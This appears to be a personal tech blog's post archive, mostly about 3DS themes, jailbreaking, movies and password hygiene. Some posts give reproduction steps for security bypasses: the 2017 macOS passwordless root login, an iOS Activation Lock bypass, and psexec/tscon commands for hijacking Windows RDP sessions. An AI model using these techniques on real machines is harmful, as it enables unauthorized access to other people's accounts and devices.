
Hoping to get these posted on Theme Plaza, but still waiting for them to approve my uploads.

Nintendo 2,3DS Theming

Wed, 04 Jul 2018 00:00:00 -0400

Trying to get back into theming again. To start back up, I just made a simple Skull theme: [caption id=“attachment_308” align=“aligncenter” width=“412”] My third theme. Something simple to get used to this again.[/caption]

Available at: Theme Plaza: Skulls

Apple's Warning Against Jailbreaking

Thu, 21 Jun 2018 00:00:00 -0400

Seeing as how the Electra 11.3.1 jailbreak is supposed to be released soon, it looks like Apple put out a statement on why you shouldn’t jailbreak: Apple: Unauthorized modification of iOS can cause security vulnerabilities, instability, shortened battery life, and other issues. I definitely find that ironic…

Security Vulnerabilities: I’ve seen jailbreak developers release patches for devices with Cydia before Apple puts them out
Instability: Okay, sure. But if an occasional crash is the cost of having things like themes & hooks into Springboard, it’s a price I’m willing to pay. Especially because iOS isn’t that much more stable without being jailbroken.
Shortened Battery Life: This coming from the company that was secretly throttling older device “to save battery life”. Sorry if I don’t believe this one.

I have not yet read the rest of the page, but I’m sure it will be much of the same above. I’m not interested in Jailbreaking to download free apps; it’s for the ability to customize the device i own & want to do with as i please.

New Site Icon, Logo

Sat, 16 Jun 2018 00:00:00 -0400

I created a new icon to be used for anything related to the site or v3ritas in general.

[caption id=“attachment_286” align=“aligncenter” width=“625”] New favicon for my site & other places[/caption]

[caption id=“attachment_295” align=“aligncenter” width=“625”] Site logo, colorized.[/caption]

Nintendo Switch Homebrew

Wed, 25 Apr 2018 00:00:00 -0400

I’ve been keeping an eye on this scene for a while now, eagerly awaiting the release of Fusée Gelée from Kate Temkin since she revealed the capabilities of the flaw. I’m a huge fan of releases like these that let you have more control over the system that you purchased, whether it be rooting an Android device, jailbreaking an Apple one, or getting Custom Firmware running on a Nintendo 2/3DS. I like those processes because it opens the platform to more customization, & not because of the ability to pirate games. Unfortunately, that part almost always follows when these techniques get released, which ends up giving users who want more open platforms a bad name.

Caution Around Answering "Security Questions" Accurately

Mon, 09 Apr 2018 00:00:00 -0400

A post by Brian Krebs on his site, https://krebsonsecurity.com prompted me to write up a post as well. He accurately recommends not answering those Social Networking questionnaires that ask for things like “What was your first car?” or “What was your favorite teacher’s name?”, with accurate (or even ANY) details. I’m sure for many people, it’s already too late, so there is definitely another alternative: Go back to any site where you did answer these common questions, & change the answers to something else, i.e.: the answer to a different question, or just garbage text. See below for an example:

Twitter Austria & Storing Plaintext Passwords?

Mon, 09 Apr 2018 00:00:00 -0400

Just found this great Twitter thread: @c_pellegrino: Does T-Mobile Austria in fact store customers’ passwords in clear text @tmobileat? @PWTooStrong @Telekom_hilft

Something good that came out of this (just for me I guess), was finding out about this web site: Plain Text Offenders.

Ociacia Vladislav: Ociacia Robots

Thu, 29 Mar 2018 00:00:00 -0400

Found this user’s site while browsing around & thought the work was great & wanted to save it here for reference. OCIACIA ROBOTS [caption id=“attachment_248” align=“aligncenter” width=“739”] http://www.bulldozer-vfx.com[/caption]

Silicon Valley: Facebook \ Фейсбук

Mon, 26 Mar 2018 00:00:00 -0400

During the Silicon Valley opening credits, the Facebook logo flipped from English to Russian. First-rate burn by one of the best series on TV. pic.twitter.com/zvh9ZPd3td

— Adam Best (@adamcbest) March 26, 2018

Happy [Early] Halloween...

Fri, 23 Mar 2018 00:00:00 -0400

Great video on YouTube:

Nintendo Switch Console & Joy-Con Case Replacement

Thu, 22 Mar 2018 00:00:00 -0400

So it took me two attempts to get this done, but it was definitely worth it. I used the below kit & YouTube video for direction.

Amazon: BASSTOP [Update Version] DIY Replacement Housing Shell Case Set for Switch NS NX Console and Right Left Switch Joy-Con Controller without Electronics(Set-Atomic Purple)
YouTube: How To Mod Your Nintendo Switch and Joy-Con
Below are some of the in-progress & completed photos of the mod:

^^^ Switch console with the back panel removed.

Black Mirror: Season 05

Mon, 05 Mar 2018 00:00:00 -0400

Yes! The future will be brighter than ever

YAPSF (Yet Another Apple Security Flaw): Info.plist Path Traversal

Mon, 05 Mar 2018 00:00:00 -0400

Abraham Masri (iabem97) has revealed a new flaw in Apple latest iOS 11.3 beta, allowing an Info.plist file to grab a file outside of the current application’s sandbox. Granted this is a beta OS, but still, this is another example of Apple seemingly rushing a release, & having all sorts of flaws. This is just the latest one.

Redmond Pie: Abraham Masri Drops iOS 11.3 0day Vulnerability, Here’s What That Means For Future Jailbreak GitHub: iabem97/securityd-racer2 And here is the Wiki write-up that explains how an app’s Info.plist file can access another app’s icon: GitHub: iabem97/writeups: Info.plist Path Traversal

Setting up an SSH Server on Android through Termux

Mon, 29 Jan 2018 00:00:00 -0400

After a little trial & error, I was finally able to get an SSH server running on Android through Termux. Some help from the following three articles as well:

Glow.li: Run an SSH server on your Android with Termux
Termux Help: Using SSH
webOS Internals: Dropbear Install

You have to make sure you have the openssh package installed. If not, run pkg install openssh. Then start the service via sshd. Something I didn’t realize at first was that the default port was changed to 8022, instead of the standard 22. Fine by me, considering I wanted to change it from the default anyway.

New "Ready Player One" Trailer!

Mon, 11 Dec 2017 00:00:00 +0000

I am cautiously optimistic about this movie; i just hope it can live up to the hype. The book is definitely one of my favorites, so i don’t want the movie to ruin that for me. Watch the trailer below!

I also didn’t realize there was already a teaser released. See that below as well:

December 2017 Posts

Fri, 01 Dec 2017 00:00:00 +0000

macOS: root User Account Vulnerability

Wed, 29 Nov 2017 00:00:00 +0000

Yesterday it was revealed that macOS has a critical bug that allows any user with physical access to a device, to login as the root user with no password. I have tested this myself, via the process below:

Open System Preferences > Users & Groups
Select the lock [ ? ] in the bottom left-hand corner of the window.
Clear the pre-filled username, & replace it with “root” & select [Unlock]. [caption id=“attachment_115” align=“aligncenter” width=“431”] Screenshot of using the root account with no password/[/caption]- Once the attempt is rejected, try again with the same settings as above. I’ve read from a few different sources that say to do it a few times, before you are allowed in. During my testing, I just had to attempt it twice, & I was in.

In order to fix this issue, you must change the root password through the Directory Utility. Open the app, hit the lock [ ? ] to enter your credentials (or use the root exploit again) then go to Edit > Change Root Password… NOTE: You MUST choose to change the password. Simply disabling the root account does not correct the issue. If you disable the account, running through the same process for the exploit reactivates the root account without a password.

The 13th Doctor's Outfit Revealed

Thu, 09 Nov 2017 00:00:00 +0000

Looks like the BBC’s twitter account has revealed the 13th Doctor’s outfit for the new series:

iOS 11.1 Activation Lock Bypass

Thu, 02 Nov 2017 00:00:00 +0000

Looks like iOS has yet another Activation Lock bypass… Seems like all you have to do is have a device that is Activation Locked with an account that has 2FA enabled. Once that is set, you enter the wrong passcode several times, until you are timed out for an hour. Wait for the timer to run down, doing it a few more times, & you should bypass the activation lock. See the attached video for a demonstration I found on YouTube.

November 2017 Posts

Wed, 01 Nov 2017 00:00:00 +0000

Philip K. Dick: "Electric Dreams" TV Series on Amazon Prime

Fri, 06 Oct 2017 00:00:00 +0000

I will definitely be checking this out…

[embed]https://youtu.be/470TG3AdA1A[/embed]

Thanks to iO9 \ Gizmodo for posting it: Holy Crap, the Philip K. Dick Electric Dreams TV Series Looks Amazing

Linkin Park: One More Light (Official Lyric Video)

Tue, 03 Oct 2017 00:00:00 +0000

[embed]https://youtu.be/8hP6WROycAU[/embed]

R.I.P. Chester Bennington

October 2017 Posts

Sun, 01 Oct 2017 00:00:00 +0000

Pokkén Tournament DX: Clothing Codes

Sat, 30 Sep 2017 00:00:00 +0000

[caption id=“attachment_89” align=“aligncenter” width=“739”] Screenshot after a victory with Shadow MewTwo.[/caption]

Placing this here for reference for myself, & anyone else interested. Don’t include the dashes. I just added them for easier reading. Simple T-Shirt Set: Male: TC2J-Y22V-BQUU Female: J7XE-EQLY-NDMT

Old Leather Jacket Set: Male: 6GSS-ALLD-M9RL Female: NQLM-EMRG-X37X

Hamburger Hat & Short Bob: Male: H5D9-YZFE-TCQZ Female: USBX-KG8X-4GLG

Source: BulbaNews: Clothing codes revealed for Pokkén Tournament DX

Windows: Session Hijacking

Sat, 30 Sep 2017 00:00:00 +0000

Session Hijacking: Have to be Local Admin: cmd psexec -s \\localhost -i 2 taskmgr Right Click > Connect cmd query user tscon 1 — Denied tscon 1 /dest:console — Denied psexec -s \\localhost cmd whoami query user tscon 1 /des:console

Sonic Mania

Thu, 07 Sep 2017 00:00:00 +0000

Loving the game so far… It looks like they finally learned what users wanted: a game truly modeled off the classic Genesis games, same graphics, music, level design… Happy to have my first Chaos Emerald with Knuckles too =]

September 2017 Posts

Fri, 01 Sep 2017 00:00:00 +0000

My First 2/3DS Theme: UFC: Ronda Rousey

Sun, 20 Aug 2017 00:00:00 +0000

So I created my first 3DSThem.es 2/3DS theme, which thankfully, was much simpler than I was expecting, thanks to YATA PLUS. It pretty much does all the work for you, just need to import the properly-sized images. 3DSThem.es: UFC: Ronda Rousey [caption id=“attachment_77” align=“aligncenter” width=“400”] Preview of my first 2/3DS theme.[/caption]

Don't Change that Pa$$w0rd

Thu, 10 Aug 2017 00:00:00 +0000

So I feel like this is a discussion that needs to be had, mainly because of this article: Engadget: The man who put us through password hell regrets everything. There is just so much wrong with this article, I’ll try to take it idea by idea.

It is incredibly frustrating to constantly think of new passwords with a capital letter, a special character and numbers that isn’t a variation on your old password.

Mr. Robot: Season 03 Teaser

Fri, 04 Aug 2017 00:00:00 +0000

Just saw that this was released & makes me even more excited for next season…

August 2017 Posts

Tue, 01 Aug 2017 00:00:00 +0000

Deadpool 2: Domino Photo!

Mon, 31 Jul 2017 00:00:00 +0000

Cannot wait for this movie to be released, & Ryan Reynolds just posted a photo of Domino, a la a Deadpool (1) edit:

[caption id=“attachment_39” align=“alignleft” width=“300”] Promo photo from the original Deadpool Movie[/caption]

[caption id=“attachment_40” align=“alignleft” width=“300”] Edit of a promo photo from DeadPool 1[/caption]

R.I.P. Chester Bennington

Sun, 23 Jul 2017 00:00:00 +0000

#RIPChester [caption id=“attachment_26” align=“alignnone” width=“300”] RIP Chester Bennington[/caption]

Rooting Google WiFi

Sat, 22 Jul 2017 00:00:00 +0000

Plenty of other sites have already brought this up, but I wanted to have it referenced here for myself. I gave it a shot for myself & while I think I followed it all the way through, still seem to be missing the root access part. Will have to give it another round & see which step I may have missed.

GitHub: marcosscriven/galeforce

Remove the screw & gently pry off the bottom of the unit.
Hold the [RESET] button while plugging in a USB-C adapter with Power Delivery. The two I bought to use are: (1) dodocool USB C Hub Type C 3.1 Power Delivery, (2) USB-C Hub, iClever Mutiport Adapter
Keep the [RESET] button held until the status light is blinking orange
Next step, press “the tiny bubble switch” that marcosscriven shows in his post
The status light will then blink purple again, & then restart itself
Wait for the device to complete the reboot, & begins blinking purple again
Insert the pre-formated USB stick & press the “bubble switch” once more. You should then be all set!

Here is where I ran into the issue. At this point you should be able to login as root:

Round 3?

Sat, 22 Jul 2017 00:00:00 +0000

So this will now be the third time I’ve made up this site? Seem to randomly be losing access or run into some issue or another. But, let’s see how long it lasts this time.

July 2017 Posts

Sat, 01 Jul 2017 00:00:00 +0000

2017 Posts

Sun, 01 Jan 2017 00:00:00 +0000

Mon, 01 Jan 0001 00:00:00 +0000

selfh.st: Command Corner

There are some extremely useful commands here, & I just wanted to have them noted down somewhere.

`tr -dc A-Za-z0-9_ < /dev/urandom | head -c 16 | xargs`

Use tr -dc A-Za-z0-9_ < /dev/urandom | head -c 16 | xargs to quickly generate a password from the command line (create a bash alias for quick reference in the future):

$ tr -dc A-Za-z0-9_ < /dev/urandom | head -c 16 | xargs
nfZY12B8v9ppdayQ

`ls | wc -l`

Use ls | wc -l to quickly count the number of files & folders in the current directory:

$ ls | wc -l
8

`for i in *; do test -d $i && du -sh $i; done`

` Use for i in *; do test -d $i && du -sh $i; done to output a list of directories in the current folder and their sizes (skipping files and subdirectories):

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w33k in g33k: July 10, 2026

👎🏻 Adulting

🤖 Android

🖥️🍎 Apple

🤖 Artificial Intelligence \ Large Language Models

w33k in g33k: July 03, 2026

👎🏻 Adulting

🤖 Android

🖥️🍎 Apple

🤖 Artificial Intelligence \ Large Language Models

🌎 Current Events

🎥📺 Entertainment

🎮 Games

w33k in g33k: June 26, 2026

👎🏻 Adulting

🤖 Android

🖥️🍎 Apple

🤖 Artificial Intelligence \ Large Language Models

🌎 Current Events

🎥📺 Entertainment

🎮 Games

⚕️ Health

🏡 Home (Homelab \ Self-Hosted)

w33k in g33k: June 19, 2026

👎🏻 Adulting

🤖 Android

🖥️🍎 Apple

🤖 Artificial Intelligence \ Large Language Models

🌎 Current Events

🎥📺 Entertainment

🎮 Games

⚕️ Health

🏡 Home (Homelab \ Self-Hosted)

🖥️🔐 IT Security

🐧 Linux

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🤖 Android

🖥️🍎 Apple

🤖 Artificial Intelligence \ Large Language Models

🎮 Games

⚕️ Health

🏡 Home (Homelab \ Self-Hosted)

🖥️🔐 IT Security

w33k in g33k: June 05, 2026

👎🏻 Adulting

🤖 Android

🖥️🍎 Apple

🤖 Artificial Intelligence \ Large Language Models

🌎 Current Events

🎥📺 Entertainment

🎮 Games

🏡 Home (Homelab \ Self-Hosted)

🖥️🔐 IT Security

🐧 Linux

🎥📺 Media

🗣️ Social Networking

🖥️🪟 Windows

❔ Miscellaneous

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